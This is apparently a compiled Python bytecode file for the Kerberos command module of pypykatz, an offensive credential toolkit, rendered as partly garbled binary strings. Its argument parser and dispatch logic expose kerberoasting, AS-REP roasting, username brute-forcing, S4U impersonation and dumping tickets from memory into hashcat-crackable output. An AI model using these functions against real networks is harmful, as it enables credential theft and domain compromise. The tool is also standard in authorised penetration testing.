o
    jG                     @   s  d dl Z d dlZd dlZd dlZd dlZd dlmZ d dlZd dlm	Z	 d dl
mZ d dlmZ d dlmZ d dlmZmZmZmZmZmZmZmZmZmZmZmZmZ d dlmZm Z m!Z! d d	l"m#Z# d d
l$m%Z% d dl&m'Z' 	 G dd dZ(dddZ)dddZ*dS )    N)logger)print_table)KRB_CRED)filetime_to_dt)geterr)get_TGSget_TGTgenerate_targetsbrute
asreproastspnroasts4uprocess_keytablist_ccache
del_ccacheroast_ccacheccache_to_kirbikirbi_to_ccache)parse_kirbiformat_kirbiprint_kirbi)LDAPConnectionFactory)KerberosSPN)KerberosCredentialc                   @   s@   e Zd Zdd Zedd Zdd Zdd Zd	d
 Zdd Z	dS )KerberosCMDHelperc                 C   s   dg| _ dg| _d S )Nkerberos)live_keywordskeywords)self r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/kerberos/cmdhelper.py__init__$   s   zKerberosCMDHelper.__init__c                 C   s    |  ddu rt| d} t| S )N0xT   )
startswithint)luidr   r   r    luid_converter(   s   
z KerberosCMDHelper.luid_converterc                  C   s  t jdd}|jdd}d|_d|_|jddd}|jdd	d}|jd
ddd |jddd}|jddd |jd
ddd |jddd}|jddd |jd
ddd |jddd}|jddd |jddd}	|jddd}
|
jddd |
jd
ddd |jd d!d}|jddd |jd"d#|gd$ t jdd}|jd%d}d|_d&|_|jd'd(d}|jd)d*d |jd+d,d}|jd)d*d |jd-td.d/ |jdd0d}|jd)d*d |jd
ddd |jd1d2d}|jd)d*d |jd3d4d |jd5d6d}|jd)d*d |jd7d8d t jdd}|jd9d}d|_d:|_|jd;d<d}|jd3d=d |jd"d#d}| }d|_d>|_|jdd?d}|jd@dAd |jd
ddBd |jdCdDtd dEdF |jdGdHd}|jd@dId |jdJdd |jd
ddBd |jdCdDtd dEdF |jdKdLd}|jdMdNdOd |jd
ddPd |jdQdRdSdTdU |jdVdWd |jdXdYdZd[ |jd\d\d}|jd]d^d_d |jdMdNdOd |jdCdDtd`dEdF |jd
ddad |jdVdWd |jdbdcdYdZd[ |jddded}|jd]d^d_d |jdMdNdOd |jdCdDtd`dEdF |jd
ddad |jd@dfd |jdbdcdYdZd[ |jdgdhd}|jd@dId |jdJdd |jdidjd |jd
ddBd |jdkdld}|jdmdId |jdndo|gd$}|jdpdq|gd$}d S )rNF)add_helplive_kerberos_module)helpTcurrentluidz'Prints out the LUID of the current userroastz)Automatically run spnroast and asreproastz-oz
--out-filez1Output file to store hashcat formatted tickets intgtzTRequest a TGT ticket. It may work better specifying the target as cifs/<domain.corp>z--targetz3SPN string of the service to request the ticket forzOutput ccache file nameapreqz*Request a APREQ ticket for a given servicetargetpurgez4Purge all tickets. For the current user use --luid 0z--luidzQLUID of the user whose tickets to be purged. Use "0x" if you specify a hex value!sessionsz.List user sessions. Needs elevated privileges.dumpzjFetches tickets for a given session or all sessions from memory and prints or exports them as .kirbi fileszSLUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!z--outdirzpath to kirbi directorytriagez0List tickets for a given session or all sessionsr   zKerberos related commands)r*   parentsccache_commandccache_modulelistzList ccache file contents
ccachefilezpath to CCACHE filedelz]Delete tickets from ccache file based on their order. To get the order user the list command.indexzticket index to delete)typer*   z2Convert stored tickets to hashcat crackable format	loadkirbizAdd kirbi file to ccache file.	kirbifilezpath to kirbi file / directoryexportkirbiz3Export tickets to kirbi files. One ticket per file.kirbidirzpath to kirbi directory kirbi_commandkirbi_moduleparsez$Parse kirbi file and show the ticketzpath to kirbi filekerberos_modulezFetches a TGT for a given userurlz`user credentials in URL format. Example: "kerberos+password://TEST\victim:Passw0rd!1@10.10.10.2"z/Output file to store the TGT in. CCACHE format.z-ez--etypezEncryption type to be requested)r;   defaultr*   tgsz&Fetches a TGS for a given service/userzuser credentials in URL formatspnr
   zBruteforcing usernamesz-dz--domainzTDomain name (realm). This overrides any other domain spec that the users might have.z)Output file to store the found usernames.z-nz--show-negatives
store_truezPrint failed enumerations)actionr*   addresszKerberos server IP/hostnametargets*zusername or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space)nargsr*   r   z-lz--ldapz5LDAP URL. Load targets via LDAP connection to the DC.   z=Output file to store the tickets in hashcat crackable format.z-tz	--targetsr   zkerberoast/spnroastz'user credentials in Kerberos URL formatr   z1Gets an S4U2proxy ticket impersonating given user
targetuser keytabz%Parse keytab file, list secret key(s)
keytabfileccachezParse/Edit ccache filekirbizParse/Edit kirbi file)argparseArgumentParseradd_subparsersrequireddest
add_parseradd_argumentr%   ) r   parserlive_parserlive_subcommand_parserlive_kerberos_subparserslive_luid_parserlive_roast_parserlive_tgs_parserlive_purge_parserlive_sessions_parserlive_export_parserlive_triage_parserccache_subcommand_parserkerberos_ccache_subparsersccache_list
ccache_delccache_roastccache_kirbikirbi_subcommand_parserkerberos_kirbi_subparsers
kirbi_listkerberos_groupkerberos_subparsers
tgt_parser
tgs_parserbrute_parserasreproast_parserspnroast_parser
s4u_parserkeytab_parserccache_parserkirbi_parserr   r   r    add_args.   s   zKerberosCMDHelper.add_argsc                 C   sb   t | jdkr|j| jv r| | t | jdkr+|jdkr-|j| jv r/| | d S d S d S d S )Nr   live)lenr   commandrunr   modulerun_live)r   argsr   r   r    execute   s
   
$zKerberosCMDHelper.executec                 C   s&  t  dkrtd d S ddlm}m} | }|jdkrGt||j	\}}}|d ur5tdt
|  d S |j	d u rC|D ]}t| q<d S d S |jdkr{||j}	|j	d u r]t|	 d S t|j	d}
|
|	 W d    d S 1 stw   Y  d S |jd	kr||j\}}td
 tt|  tdt|   d S |jdkrtt|  d S |jdkrd }|jd ur|j}|ddu rt|d}t|}|| td d S |jdkr|  d S |jdkrQ|jd u r| }nt|j}| |}g dg}|D ]C}t!|| dkrq|| D ]0}	|"t||	d |	d t#|	d $ t#|	d $ t#|	d $ t%|	d t%|	d g qqt&| d S |jdkr|jd u rb|' }nt|j}|(|}|j)d ur|D ]p}|| D ]h}	z,t*+|	d j,}d-|d d d  d! }tt|d d"-||d d d# g }W n   tt|d t./d$  }Y tt.j0-|j)d%| d}
|
|	d  W d    n	1 sw   Y  q{qud S |D ]&}t!|| dkrqtd&t|  || D ]	}	t|	d  qqd S d S )'NWindowsz&[-]This command only works on Windows!r   )KerberosLive
live_roastr,   z@[LIVE][KERBEROS][ROAST] Error while roasting tickets! Reason: %sr-   wbr.   zAPREQ b64: zSessionkey b64: %sr+   r0   r"   Tr#   zTickets purged!r1   r3   )LUID
ServerName	RealmName	StartTimeEndTime	RenewTimeEncryptionTypeTicketFlagsr   r   r   r   r   r   r   r2   Ticket_ticketssnamezname-string@realm   zticket_%s.kirbizLUID @%s)1platformsystemprintpypykatz.kerberos.kerberosliver   r   r)   asyncior   out_filer   get_tgtr/   r   openwrite	get_apreqr   r2   base64	b64encodedecodehexget_current_luidr&   r$   r%   r0   list_sessionsget_all_ticketinfor   r'   get_ticketinfor}   appendr   	isoformatstrr   export_all_ticketdataexport_ticketdataoutdirr   loadnativejoinosurandompath)r   r   r   r   klreserrorserrrticketfr.   
sessionkeyr&   ticketinfostabler   ptnamer   r   r    r      s   




"















. zKerberosCMDHelper.run_livec           
      C   s>  |j dkrItt|j|jd\}}|d urtd|  d S |jd urCt|jd}|	|
  W d    d S 1 s<w   Y  d S t| d S |j dkrtt|j|j|jd\}}}}}|d urltd|  d S |jd urt|jd}|	|
  W d    d S 1 sw   Y  d S t| d S |j dkrt|j|j}tt|j||j|j\}	}|d urtdt|  d S d S |j d	kr|jd u rt|j|jd
d}ntt|jdd\}}	tt|j||j|jd\}	}|d urtdt|  d S d S |j dkrW|jd u r|jd u rtd|jd u r*t|j|jdd}ntt|jdd\}	}tt|j||j|jd\}	}|d urUtdt|  d S d S |j dkrtt|j|j|j\}}}}}|d ur}tdt|  d S |jd urt|jd}|	|
  W d    d S 1 sw   Y  d S t| d S |j dkrt|j d S |j dkr|jdkrt|j  d S |jdkrt!|j |j d S |jdkrt"|j |j# d S |jdkrt$|j |j% d S |jdkrt&|j |j' d S d S |j dkr|j(dkrt)|j* d S d S d S ) Nr-   )override_etypez/[KERBEROS][TGT] Failed to fetch TGT! Reason: %sr   rF   z/[KERBEROS][TGS] Failed to fetch TGS! Reason: %sr
   z;[KERBEROS][BRUTE] Error while enumerating users! Reason: %sr   F)to_spnasrep)target_type)r   etypez([KERBEROS][ASREPROAST] Error! Reason: %sr   z+Either LDAP URL or targets must be providedTrG   z&[KERBEROS][SPNROAST] Error! Reason: %sr   z![KERBEROS][S4U] Error! Reason: %srQ   rS   r7   r,   r9   r>   r<   rT   rB   )+rC   r   r   r   rD   r   r   r   r   r   r2   r   r   rG   r	   rK   domainr
   rJ   show_negativesr   ldapget_ldap_kerberos_targetsr   	Exceptionr   r   rO   r   rR   r6   r   r8   r   r   r:   r   r?   r   rT   rA   r   r=   )
r   r   rT   r   r   rF   encTGSRepPartkeytarget_spnsr   r   r   r    r     s   

"
$
"

 
 
"
$zKerberosCMDHelper.runN)
__name__
__module____qualname__r!   staticmethodr'   r{   r   r   r   r   r   r   r    r   #   s    
yjr   ntlmc                 C   s>   ddl m} | }|d }|d ur|}d| |d |d |f S )Nr   )get_logon_infologonserverzldap+sspi-%s://%s\%s@%sr   username)winacl.functions.highlevelr   )
authmethodhostr   infor   r   r   r    get_ldap_urlp  s   r   allc                    s  | dkrt ||d} t| }| }| I d H \}}|d ur#||jjdddd}g }	g }
|dks;|dkr^| 2 z3 d H W \}}|d urM|t	 }|j
|_||_|
| q?6 |d	ksf|dkr| 2 z3 d H W \}}|d urx|t }|j
|_||_|	| qj6 |
|	fS )
Nauto)r   r   zDC=rP   ,.r   r   rG   )r   r   from_url
get_clientconnect	_ldapinfodistinguishedNamereplaceget_all_knoreq_usersr   sAMAccountNamer   r   r   get_all_service_usersr   )ldap_urlr   r   r   
msldap_urlclientr   r   r   	spn_usersasrep_usersusercredr   r   r    r   z  s<   
		r   )r   N)r   r   N)+r   r   r   rU   r   pypykatzr   	tracebackminikerberos.common.utilsr   "minikerberos.protocol.asn1_structsr   pypykatz.commons.filetimer   pypykatz.commons.commonr   pypykatz.kerberos.kerberosr   r   r	   r
   r   r   r   r   r   r   r   r   r   pypykatz.kerberos.kirbiutilsr   r   r   msldap.commons.factoryr   minikerberos.common.spnr   minikerberos.common.credsr   r   r   r   r   r   r   r    <module>   s,   <  
O
